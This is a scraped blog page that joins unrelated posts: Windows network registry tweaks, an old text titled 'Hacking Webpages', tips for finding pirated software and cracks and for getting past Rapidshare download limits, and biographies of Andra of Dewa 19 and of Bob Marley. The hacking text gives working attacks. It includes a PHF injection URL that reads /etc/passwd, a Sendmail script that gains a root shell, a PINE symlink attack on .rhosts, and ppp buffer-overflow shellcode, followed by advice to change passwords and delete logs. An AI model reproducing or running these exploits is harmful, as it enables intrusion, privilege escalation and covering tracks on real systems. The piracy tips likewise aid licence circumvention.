3. What we're aiming to do is increase the priority of the last 4 settings, while keeping their order. The valid range is from -32768 to +32767 and lower numbers mean higher priority compared to other services. What we're aiming at is lower numbers without going to extremes, something like what's shown below should work well:
4. Change the "Priority" lines to:
LocalPriority = 005 (5) - local names cache
HostsPriority = 006 (6) - the HOSTS file
DnsPriority = 007 (7) - DNS
NetbtPriority = 008 ( biggrin.gif - NetBT name-resolution, including WINS
5. Reboot for changes to take effect

2. Windows 9x/ME

1. The tweak is essentialy the same as in Windows 2000/XP, just the location in the Registry is slightly different. For a more detailed description see the Windows 2000/XP section above
2. Open the Windows Registry using Regedit, and (after backing up) navigate to:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP\ServiceProvider
3. You should see the following settings:
Class=hex:08,00,00,00

LocalPriority=hex:f3,01,00,00
HostsPriority=hex:f4,01,00,00
DnsPriority=hex:d0,07,00,00
NetbtPriority=hex:d1,07,00,00
4. The "priority" lines should be changed to:
LocalPriority=hex:05,00,00,00
HostsPriority=hex:06,00,00,00
DnsPriority=hex:07,00,00,00
NetbtPriority=hex:08,00,00,00
5. Reboot for changes to take effect

3. System.ini IRQ Tweak - Windows 9x/ME ONLY

1. Find your Network Card's IRQ

1. In order to add the entry to your System.ini file, you'd first have to find your NIC's IRQ
2. Right-click on My Computer icon on your Desktop, then left-click on Properties (a shortcut for that would be to press the 'Windows' + 'Pause' keys). Navigate to Device Manager and double-click on Computer. Under "View Resources" you will find a list of IRQs, each with description of the device that's using it. Note the IRQ number used by your Network Adapter

2. Adding the entry to System.ini

1. Once you've found the IRQ of your Network Card, you need to reserve some RAM for its use, by adding an entry to the System.ini file. You can edit the file in any text editor, however the easiest way is to use Windows' built in "System Configuration Editor"
2. Navigate to Start > Run and type sysedit . Find the [386enh] Section in the System.ini file and add Irq[n]=4096 under it, where [n] is the IRQ number of your NIC and 4096 is the amount of RAM you want to reserve in Kbytes. We recommend using 4096, however you can experiment with different values if you want. Save changes in the file, exit and reboot for changes to take effect.
Note: If you choose to try different values, keep in mind that reserving too much RAM for your NIC will decrease the amount of RAM available for applications, while reserving too little might not give the desired effect

3. Additional Thoughts
1. The only negative effect of the System.ini IRQ tweak is that it will reduce the amount of RAM available for running applications a bit, by reserving some specifically for your Network Card's use. The gain in performance usually outweighs the negative effect by far, considering any Computer with 32Mb of RAM or more
2. This tweak may or may not work for you. It is not a documented tweak by Windows
3. Keep in mind that if you add hardware to your system the IRQ of the Network Adapter might change, in which case you will need to modify the setting in System.ini
4. In systems with multiple NICs, you might want to add the setting for both IRQs. Also, you could reserve RAM for other IRQs if you wish, just use common sense and don't forget it reduces the amount of RAM available for running applications
5. If you are using an USB device, it does not have a specific IRQ, however you can try adding the entry using the IRQ of the USB Controller
6. For internal Cable Modems, you'd have to add the entry using the IRQ of your modem, rather than the IRQ of a Network Card



RESULTS WILL VARY
No matter how good your systems may be, they're only as effective as what you put into them.


Photobucket

Hacking Webpage

0 komentar

The Ultimate guide Author : Virtual Circuit and Psychotic Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking.....


Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects. Getting the Password File Through FTP Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file... root:User:d7Bdg:1n2HG2:1127:20:Superuser TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file. root:x:0:1:Superuser:/: ftp:x:202:102:Anonymous ftp:/u1/ftp: ftpadmin:x:203:102:ftp Administrator:/u1/ftp This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file: root:x:0:1:0000-Admin(0000):/:/usr/bin/csh daemon:x:1:1:0000-Admin(0000):/: bin:x:2:2:0000-Admin(0000):/usr/bin: sys:x:3:3:0000-Admin(0000):/: adm:x:4:4:0000-Admin(0000):/var/adm: lp:x:71:8:0000-lp(0000):/usr/spool/lp: smtp:x:0:0:mail daemon user:/: uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp: nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:uid no body:/: noaccess:x:60002:60002:uid no access:/: webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well. Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it. Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you. The PHF Technique Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it. The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link: http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type: http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd and that's it! You just sit back and copy the file(if it works). Telnet and Exploits Well exploits are the best way of hacking webpages but they are also more

complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need. It�s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I�m going to list a few below but the list of exploits is endless. This exploit is known as Sendmail v.8.8.4 It creates a suid program /tmp/x that calls shell as root. This is how you set it up: cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi and now on to another exploit. I�m going to display the pine exploit through

linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile. Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile. This was writen by Sean B. Hamor�For this example, hamors is the victim while catluvr is the attacker: hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 ++ catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors now on to another one, this will be the last one that I�m going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up: v #include #include #include #define BUFFER_SIZE 156 /* size of the bufer to overflow */ #define OFFSET -290 /* number of bytes to jump after the start

of the buffer */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char *argv[]) { char *buf = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */ */ "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */ "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */ int i,j; buf = malloc(4096); /* fill start of bufer with nops */ i = BUFFER_SIZE-strlen(execshell); memset(buf, 0x90, i); ptr = buf + i; /* place exploit code into the buffer */ for(i = 0; i < strlen(execshell); i++) *ptr++ = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (104/4); i++) *addr_ptr++ = get_esp() + OFFSET; ptr = (char *)addr_ptr; *ptr = 0; setenv("HOME", buf, 1); execl("/usr/sbin/ppp", "ppp", NULL); } Now that you�ve gotten root "what�s next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if

you are serious about learing ethnical hacking that you download our Unix Bible.




Photobucket

Hacking

2 komentar

this for going files without register
Another (and better) way is changing the user agent of your browser to: Googlebot/2.1+ (http://www.googlebot.com/bot.html) This is very easy in Mozilla's Firefox. Download and install the User Agent Switcher from (http://www.chrispederick.com/work/firefox/useragentswitcher/) and add the Googlebot user agent.

To find application crack
just type crack: app name example: crack: flashget 1.6a http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=crack%3A+flashget+1.6a

google hack
method 1 ?ww.google.com put this string in google search: "parent directory " /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums "parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums "parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums "parent directory " Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums "parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums "parent directory " Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff. method 2 ?ww.google.com put this string in google search: ?intitle:index.of? mp3 You only need add the name of the song/artist/singer. Example: ?intitle:index.of? mp3 jackson Other way intitle:"index of" "google hacks" ebook

get keygen in google
if your looking for a serial number for nero (for example) goto google.com and type nero 94FBR and it'll bring it up this works great in google HOW DOES THIS WORK? Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things.

1)The pages that are returned are pages dealing specifically with the product you're wantinga serial for. 2)Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page. I hope this trick help you finding your ccd keys easily

Other way to crack with google
Great Tip For Mp3 Searching On Google, go to google copy and paste in ?intitle:index.of? mp3 and after mp3 put in an artist or album or whatever and hit enter... what you get is lists of downloadable mp3s eg: ?intitle:index.of? mp3 santana Another trick: Use the following inurl:microsoft filetype:iso You can change the string to watever you want, ex. microsoft to adobe, iso to zip etc… Another trick: http://www.google.com/ie?q=parentdirectory+"Warez"+exe+OR+zip+OR+rar+OR+gzip+OR+tar+OR+bzip&num=100 Replace "Warez" with "Gamez" "Mp3" anything you like....

To find ebook in google
+("index of") +("/ebooks"|"/book") +(chm|pdf|zip|rar) +syngress or allinurl: +(rar|chm|zip|pdf|tgz) Syngress Enjoy

get link direct with crackdb
Some of you may not know this, others may already knew it, however, because of Sod rules which do no not allow indirect crack links, and because CrackDB is a very good resource for cracks, i will show how to post links that lead to a direct download from CrackDB. The CrackDB server sends the archive of a crack as an attachment to the respond for an HTTP request made by your browser, this means you (and your browser) will never know the real location of the file, because of this you can't post a direct link to the crack in your topic. Using the Referer variable we can overcome this problem, but what referer to

use? if you used the domain name http://www.crackdb.com/ you will get nothing but a useless image file. The correct refere is shown on your browser address bar. For example, if you want the crack for IsoBuster Pro v1.6 you just type the name in the search box and press Enter, the next page displays a list of items that match or nearly match your search keywords, click on IsoBuster Pro v1.6 from the list and you are now in the download page, the hyperlink named "Download" is the link that initiates the request to the server to download the file, which looks like this: http://www.crackdb.com/x.php?id=12356 The referer is now displayed on your browser address bar, which looks like this: http://www.crackdb.com/get.php?id=12356 Now, you use both links to refer to a direct crack download from CrackDB, like this Fix: http://www.crackdb.com/x.php?id=12356 Use this referer: http://www.crackdb.com/get.php?id=12356 Any member now can copy & paste the links into his/her download manager and start downloading immediatley. I hope you find something usefull here. Thanx for reading this.

Find files in ftp
How To Find Ftp's The Easy Way' I use google cuz its the best search engine en everyone can acces . The easiest search quote is "index of ..." Some kind of examples are: index of ftp/ +mp3 index of ftp/ +divx index of ftp/ +"whateveryouwant" Google has many operators that should help you to specify your search USE EM There are also lots of advanced operators available here are a few: cache: link: related: info: stocks: site: allintitle: intitle: allinurl: inurl:

eg: allintitle: "index of ftp/mp3"

other way to search ftp files
SEARCH eBOOK in FTP SEARCH ENGINE To find eBook in FTP Search, visit one of this website http://search.ftphost.net/ http://www.filesearching.com/ http://reliz.ru/

hack rapidshare
Using Rapid Share, How to use them and skip the BS After you put up your download - or someone else along go to the download page, click Free - on this next page where the timer comes one - view source Go down the view source to the end - grab the gobbly gook looking text (I cant get to it right now cause I am locked out for an hour otherwise I would show an example - its obvious - near the bottom) go to CODE http://sportsforum.ws/encode paste it on the third line down (bottom line) hit submit - second line down will now have an actuall link


You have requested the file phpscripts_01.rar (18627251 Bytes). This file has been downloaded 450 times already.
IMPORTANT: Download-accelerators are only supported with a PREMIUMAccount!

ERROR: Please enable JavaScript.



%3C%68%32%3E%3C%66%6F%6E%74%20%63%6F%6C%6F%72%3D%22%23%43%43%30%30%30%30%22%3 E%20%44%6F%77%6E%6C%6F%61%64%3A%3C%2F%66%6F%6E%74%3E%20%3C%61%20%68%72%65%66% 3D%22%68%74%74%70%3A%2F%2F%64%6C%31%2E%72%61%70%69%64%73%68%61%72%65%2E%64%65 %2F%66%69%6C%65%73%2F%33%36%34%33%33%32%2F%31%39%39%2F%70%68%70%73%63%72%69%7 0%74%73%5F%30%31%2E%72%61%72%22%3E%70%68%70%73%63%72%69%70%74%73%5F%30%31%2E% 72%61%72%3C%2F%61%3E%3C%2F%68%32%3E' You want just that part It's quite simple, when you want to download something that's on rapidshare, do the following: 1. go to the rapidshare link and click 'free' (so not the premium thing) 2. on this page, there's a counter that counts down from a specific amount of time before it displays the download link, view the source of this page 3. at the end of the source, there's a line with lots of numbers and % symbols, copy this line 4. go to sportsforum.ws/encode and paste the line you copied, onto the line 5. click encode now 6. direct link is shown

Rapidshare hack!!!!! Free premium acount for all
hi i got the encrypted message if you decode that message you get a link to register premium acount on rappit share but i dont have a decomipler for PKCS7 help me decode this message and we have all free premium acounts. Code:


Unlimited Rapidshare Downloads
Its very easy to fool Rapid Share server if your IP address is assigned by your ISP. Just follow these simple steps: clean up IE or netscape cookie( In this case the one that belong to rapidshare website) On Command prompt type -----> ipconfig /flushdns <---Enter type -----> ipconfig /release <---Enter type -----> ipconfig /renew <---Enter type -----> exit <--------Enter Or save these commands in a bat file and run it everytime you need to fool Rapidshare server.Remember to clean up rapidshare cookie in your temp Internet files folder. Now you should be ready to download as many files as you want from their server. And there is this cool link: paste it in the browser and see CODE http://www.google.com/search?lr=&as_qdr=all&q=+.rar+OR+.zip+OR+.pdf+OR+.exe+s ite%3Arapidshare.de THIS "cheat" for RAPIDSHARE DOWNLOADS eliminates the "WAITING" for the file. No more COUNTDOWNS. So heres what you do: 1. First, Find a rapidshare download. 2. Hit the FREE BUTTON, like always. 3. While your waiting for it to countdown, change the URL in the bar to: Code: java script:c(countdown = 0); and hit ENTER or the GO button over and over. Eachtime you do so, it decreases 10-20 seconds. Few times and the link appears. or you can simply do the code below ONCE java script: for (i=0; i<30;>
Photobucket

Andra and The backbone profile

0 komentar



Andra Junaidi dilahirkan pada tanggal 17 Juni 1972 sebagai anak bungsu dari enam bersaudara hasil pernikahan pasangan A. Ramadhan dan S.M. Fadilah. Andra mengaku terlambat mengenal musik, karena baru SMP lewat ekskul musiklah ia mulai tertarik pada musik. Pertama ia bermimpi untuk menjadi seorang drummer terkenal, tapi karena masalah biaya untuk membeli Drum sangat mahal dan setelah melihat teman2nya asyik memetik gitar, hobinya pun berganti. Bermodal gitar pinjaman, ia mulai belajar gitar, dan memang karena bakat, kemampuan dan teknik permainannya berkembang sangat pesat.

Di SMPN 6 inilah, Andra bertemu dengan Dhani, Wawan, dan Erwin kemudian mereka sepakat untuk membentuk band dengan nama Dewa. Aliran rock yang pertama mereka geluti akhirnya pindah ke jazz akibat pengaruh Erwin. Masalah kemudian bergelayut pada kehidupan Andra yaitu ketika ia harus memilih antara karirnya sebagai pemusik atau meneruskan kuliahnya di jurusan ?desain interior. Dengan pertimbangan yang matang, akhirnya Andra memilih untuk terus meniti karir di dunia musik, tapi bukan berarti langkahnya tetap ?mulus, karena kedua orang tuanya tidak setuju kalau Andra harus melepaskan bangku kuliahnya. Layaknya orang tua biasa, mereka ingin melihat Andra meraih gelar sarjana seperti kelima kakaknya yang sudah selesai. Tapi akhirnya kedua orang tuanya mau mengerti dan memang terbukti pilihan Andra tepat. Setelah melepaskan kuliahnya, konsentrasinya ke Dewa 19 membuat kreativi- ?tasnya lebih tergali. Kontribusi Andra terhadap komposisi lagu Dewa 19 tak bisa dipungkiri.

Pada tahun 1999 Andra menikah dengan Ismulia Permatasari dan sudah dikaruniai seorang putri yaitu Yasmeen Fadilah dan seorang putra yang diberi nama Timur Zavier.

Andra yang merupakan salah satu motor dan pendiri grup Band Dewa19, dengan kesetiaan seorang Andra dalam membesarkan Dewa19 itulah yang patut diacungi jempol, karena Andra adalah satu2nya orang selain Dhani sendiri yang dari awal sampai sekarang masih merupakan personil Dewa19. Tapi dari dulu Andra memang sangat ingin membuat album solo sendiri, sedikit demi sedikit dia mengumpulkan lagu2 yang diciptakannya sendiri untuk project album solonya. Tapi karena jadwal Dewa19 yang sangat padat dan memang orientasi pertama adalah untuk band kesayangannya itu maka Album solonya sedikit tertunda.

Sampai pada tahun 2006 saat jadwal Dewa19 tidak terlalu padat akhirnya Andra mulai serius membuat Album solonya itu. Karena ditahun-tahun sebelumnya Andra bertemu dengan Stevie Morley Item yang kala itu sebagai additional player Dewa19 dan merasa cocok dengan gaya permainan Stevie, jauh2 hari Andra sudah pernah menawarkan kepada Stevie untuk ikut bergabung dalam project tersebut. Mereka berdua seperti mempunyai misi dan visi yang sama dalam hal bermusik.

Ditahun yang sama Andra & Stevie menemukan seorang Dedy Lisan yang menurut mereka cukup cocok membawakan lagu2 ciptaan Andra. Setelah mereka membuat demo dan menyerahkan ke label rekaman, dengan jalan yang bisa dibilang cukup mulus akhirnya mereka berhasil menelorkan album pertama mereka Andra & The Backbone dan mengusung nama yang sama untuk nama band mereka. Akhirnya berhasil juga perjuangan seorang Andra mempunyai Album yang sudah lama di nanti2kan oleh banyak penggermarnya. Dengan keluarnya Album tersebut bukan berarti Andra tidak setia lagi dengan band terdahulunya Dewa19, justru hal ini yang tetap mempererat hubungannya dengan Dhani dan Dewa19 itu sendiri. Selain dapat restu dan persetujuan dari Dhani juga karena Dewa19 tetap merupakan prioritas utama Andra dan Backbone sebagai selingan dan mainan barunya.


Photobucket

Andra profile

0 komentar



Nama Asli : Andra Junaidi Ramadhan
Tempat/Tgl Lahir : Surabaya, 17 Juni 1972
Gaya Permainan : Rock, Jazz
Group Band : Dewa
Pengaruh musikal : Joe Satriani, Dave Navarro, Scott Henderson, Pat Metheny
Gitar Yang Digunakan : Parker, PRS, Fender Stratocaster, G&L
Pickup Yang Digunakan : Dimarzio Fred, Seymour Duncan '59
Kabinet Speaker : Marshall 4x12
Efek : Line 6 Stomp Box, Rocktron Replifex, Ibanez Tube Screamer TS9
Head Ampli : Legacy Steve Vai

Andra mengaku terlambat tertarik terhadap musik. karena baru SMP lewat ekskul musik. Pertama ia bermimpi untuk menjadi seo- rang drummer terkenal, tapi karena masalah biaya untuk membeli Drum sangat mahal dan setelah melihat teman2nya asyik memetik gitar, hobinya pun berganti. Bermodal gitar pinjaman, ia mulai belajar gitar, dan memang karena bakat, kemampuan dan teknik permainannya berkembang sangat pesat. Di SMPN 6 inilah, Andra bertemu dengan Dhani, Wawan, dan Erwin kemudian mereka sepakat untuk membentuk band dengan nama Dewa. Aliran rock yang pertama mereka geluti akhirnya pindah ke jazz akibat pengaruh Erwin. Mereka sempat menjuarai ajang Yamaha Musik pada waktu masih menggunakan nama Down Beat. Setelah itu mulai serius di dunia musik. Pada awalnya, Andra lebih memilih gitar yang berpenampilan sangar ketimbang karakter suara yang dihasilkan itu sendiri. Baru semenjak bergabung dengan Down Beat bersama Ahmad Dhani dan Erwin, ia mulai memperhatikan sound yang dihasilkan oleh tiap-tiap jenis gitar.

Masalah kemudian bergelayut pada kehidupan Andra yaitu ketika ia harus memilih antara karirnya sebagai pemusik atau meneruskan kuliahnya di jurusan desain interior. Dengan pertimbangan yang matang, akhirnya Andra memilih untuk terus meniti karir di dunia musik, tapi bukan berarti langkahnya tetap mulus, karena kedua orang tuanya tidak setuju kalau Andra harus melepaskan bangku kuliahnya. Layaknya orang tua biasa, mereka ingin melihat Andra meraih gelar sarjana seperti kelima kakaknya yang sudah selesai. Tapi akhirnya kedua orang tuanya mau mengerti dan memang terbukti pilihan Andra tepat. Setelah melepaskan kuliahnya, konsentrasinya ke Dewa 19 membuat kreativitasnya lebih tergali.

Down Beat yang kemudian berganti nama menjadi Dewa19 mulai merekam demo-demo lagu yang bernuansa jazz. Dkarenakan waktu itu atmosfer musik rock Indonesia sangat tidak menjanjikan. Baru pada saat grup rock debutan Slank muncul dan menjadi fenomena ditahun 1991, Dewa19 kembali ke jalur rock, meski masih ada sentuhan jazz dan pop. Dengan formasi awal Ahmad Dhani pada keyboard, Ari Lasso pada vocal, Erwin pada bass, dan Wawan pada drum akhirnya tahun 1992 album pertama pun direlease dengan mengandalkan hits Kita Tidak Sedang Bercinta Lagi dan Kangen yang mendapat sambutan luar biasa. Dua tahun kemudian album ke-2 direlease dengan judul Format Masa Depan. Lagi-lagi dua hits andalan Tak 'kan Ada Cinta Yang Lain dan Aku Milikmu mendapat sambutan yang baik. Permainan Andra di dua album pertama masih bernuansa rock '80. Bahkan di lagu Aku Milikmu dan Kangen, permainan solo gitar Andra bisa dibilang bernuansa Vitto Bratta (White Lion).

Album ke-3 berjudul Terbaik Terbaik direlease pada tahun 1995. Jangan terkecoh dengan judulnya karena album ini bukan album The Best. Hits yang menjadi andalan adalah Satu Hati, Cinta 'kan Membawamu Kembali, Satu Hati, dan sebuah lagu CUkup Situ Nurbaya yang kemudian menjadi lagu yang paling sering dibawakan oleh band-band muda di ajang festival-festival atau pagelaran musik. Gaya permainan glam rock Andra banyak menjadi inspirasi anak-anak muda untuk belajar gitar dan nge-band. Tahun 1997, album Pandawa Lima direlease. Kali ini menjagokan hits Kirana, Aku Disini Untukmu, dan Kamulah Satu-satunya.

Tahun 1998 Andra ikut serta dalam proyek solo Ahmad Dhani yang bernama Ahmad Band. Kali ini ia tak hanya menjadi gitaris tunggal, namun berduet dengan Pay (ex- gitaris Slank), Bonky (ex- bassis Slank), dan Bimo (drum). Albumnya diberi nama Ideologi, Sikap, Otak yang melempar 2 hits : Distorsi dan Aku Cinta Kau dan Dia.

Tahun 2000 Dewa mengalami perubahan formasi dengan keluarnya Ari Lasso. Ia digantikan oleh Once yang memiliki karakter vocal berbeda dengan Ari Lasso. Untuk alasan itulah nama Dewa19 dirubah menjadi Dewa saja. Di album Bintang Lima yang direlease tahun 2000 ini, untuk pertama kalinya Dewa meraih penjualan album menembus angka 1 juta keping. Di album ini permainan gitar Andra tak lagi bernuansa rock 80's tapi lebih ke rock 70's dengan musik bergaya Queen. Album ini mengandung banyak lagu-lagu hits seperti Roman Picisan, Dua Sejoli, Risalah Hati, Sepauh Nafas, dan lain-lain. Album berikutnya, Cintailah Cinta masih bernuansa seperti album sebelumnya dan kali ini mengandalkan lagu-lagu jagoan Arjuna, Pupus, dan Angin. Namun permainan solo gitar Andra kurang mendapat tempat, tidak seperti di era Dewa19 dulu. Meskipun begitu, pada tahun 2004 album terbaru Dewa, Laskar CInta yang bernuansa sedikit techno kembali cukup memberi porsi pada permainan gitar Andra.

Untuk urusan gitar, yang pertama digunakan adalah Aria Pro tipe Stratocaster untuk pembuatan album pertama dan penampilan live nya. Kemudian setelah mencoba Fender ia mulai menggunakan gitar tersebut. Untuk mendapatkan sound yang lebih baik, ia kemudian memasang pickup Dimarzio pada gitar Aria Pro nya. Namun kemudian ia lebih memilih menggunakan Fender Classic Stratocaster sampai album Dewa19 yang ke empat.

Tahun 2006 ini, Andra dan Dewa merelease album terbaru yang berjudul Republik Cinta, dan Dewa kembali memakai judul Dewa19 sebagai nama band.

Photobucket

Link anda

1 komentar

Photobucket

history bob marley

0 komentar

Bob Marley Basic Facts: Bob Marley was born Robert Nesta Marley on Feb. 6, 1945 in Saint Ann, Jamaica. His father, Norval Sinclair Marley, was a white Englishman and his mother, Cedelia Booker, was a black Jamaican. Bob Marley died of cancer in Miami, FL on May 11, 1981. Marley had 12 children, four by his wife Rita, and was a devout Rastafarian

Bob Marley's Early Life:

Bob Marley's father died when he was 10 years old, and his mother moved with him to Kingston's Trenchtown neighborhood after his death. As a young teen, he befriended Bunny Wailer, and they learned to play music together. At 14, Marley dropped out of school to learn the welding trade, and spent his spare time jamming with Bunny Wailer and ska musician Joe Higgs.

Bob Marley's Early Recordings and the Beginnings of the Wailers:

Bob Marley recorded his first two singles in 1962, but neither garnered much interest at the time. In 1963, he began a ska band with Bunny Wailer and Peter Tosh that was originally called "The Teenagers". Later it became "The Wailing Rudeboys", then "The Wailing Wailers", and finally just "The Wailers". Their early Studio One hits, which were recorded in the popular rocksteady style, included "Simmer Down" (1964) and "Soul Rebel" (1965), both penned by Marley.

Bob Marley Converts To Rastafarianism:

Marley married Rita Anderson in 1966, and spent a few months living in Delaware with his mother. When Marley returned to Jamaica, he began practicing the Rastafarian faith, and began growing his signature dreadlocks.

Worldwide Success:

The Wailers' 1974 album Burnin' contained "I Shot The Sheriff" and "Get Up, Stand Up", both of which gathered cult followings in both the US and Europe. The same year, however, the Wailers broke up to pursue solo careers. At this point, Marley had made the full transition from ska and rocksteady to reggae.

Bob Marley & the Wailers:

Bob Marley continued to tour and record as "Bob Marley & the Wailers", though he was the only original Wailer in the group. In 1975, "No Woman, No Cry" became Bob Marley's true breakthrough hit song, and his subsequent album Rastaman Vibration became a Billboard Top 10 Album.

Bob Marley's Political and Religious Activism:

Bob Marley spent much of the late 1970s trying to promote peace and cultural understanding within Jamaica, despite being shot (along with his wife and manager, who also survived) before a peace concert. He also acted as a willing cultural ambassador for the Jamaican people and the Rastafarian religion. He holds nearly godlike status among many Jamaicans and Rastafarians worldwide.

Bob Marley's Death:

In 1977, Bob Marley found a wound on his foot, which he believed to be a soccer injury, but was later discovered to be malignant melanoma. Doctors recommended an amputation of his toe, but he refused for religious reasons. The cancer eventually spread. When he finally decided to get medical help (in 1980), the cancer had become terminal. He wanted to die in Jamaica, but could not withstand the flight home, and died in Miami.

Learn more about Bob Marley's death.

Bob Marley's Legacy:

Bob Marley is revered the world over, both as a musical deity and as a spiritual leader. His wife Rita carries on his work as she sees fit, and his sons Damian "Jr. Gong", Julian, Ziggy, Stephen, Ky-Mani, as well as his daughters, Cedelia and Sharon, carry on his musical legacy (the other siblings do not play music professionally).

